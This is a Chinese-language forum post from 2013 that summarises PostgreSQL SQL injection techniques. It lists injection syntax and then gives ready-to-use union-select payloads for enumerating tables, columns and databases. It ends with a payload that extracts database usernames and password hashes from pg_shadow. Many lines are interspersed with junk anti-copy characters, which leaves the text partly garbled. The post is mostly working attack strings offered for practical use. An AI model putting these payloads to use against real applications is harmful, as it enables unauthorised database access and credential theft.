找回密码
 立即注册
查看: 2670|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点6 I1 ]3 X9 ^+ q- g

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
/ ]6 L$ c+ V3 r- f) x" r& ?8 a5 a连接符: %20 , + , /**/

内置函数:
: p; L9 ~; ]( qcurrent_database() //当前数据库名( R. E1 v# w) C% B. U8 t
session_user //会话用户
  u& B+ X$ w0 L9 p( J, Fcurrent_user //当前数据库用户8 H* o5 K3 x6 G  n' t) \
user //当前用户
% g+ t) @' g4 @version() //数据库版本

Union注射:1 N% }! F6 [: z. N* }0 K, E
order by n–$ {: {/ O% }3 r/ F' T8 p; h7 D
and 1=2 union select null,null,null–
( H# G5 }3 Y3 i9 dand 1=2 union select ‘beach’,null,null–' h8 B( P' @! G( F
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):, p+ K8 E3 G% `# K7 C5 u* g
group_concat(table_name)
" X2 x! B" Q; L  c6 f( ?and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–& s# N4 y- z! ^4 h+ X' A9 h/ n
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–$ i. f* r* n1 E+ k% ^0 ^% ^
(老版本)" B  i  \6 k' r4 d) i
pg_class.oid对应pg_attribute.attrelid
. U0 W5 |9 z" f) E0 B; G; ?( ppg_class.relname表名
  n1 d' T5 E- J+ `: x9 n0 Fpg_attribute.attname字段名

select relname from pg_class获取表名
# n5 _* k8 Y7 B. y5 [+ g% Q+ n3 J* Lselect oid from pg_class where 条件 获取参数) D, Z$ a# o5 v7 z
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
7 W# _9 T: D4 c9 L7 g4 Uand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
, }% ~& I4 n0 O# U+ n" n- C: N# F- Fand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
8 k5 a6 w+ `1 _  G0 E1 w由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名0 l( U7 U2 ~) }( C' {
======================================================================9 E: ^' J1 [$ a; o) N# `4 s0 x
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
1 s# J. F) m# vand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表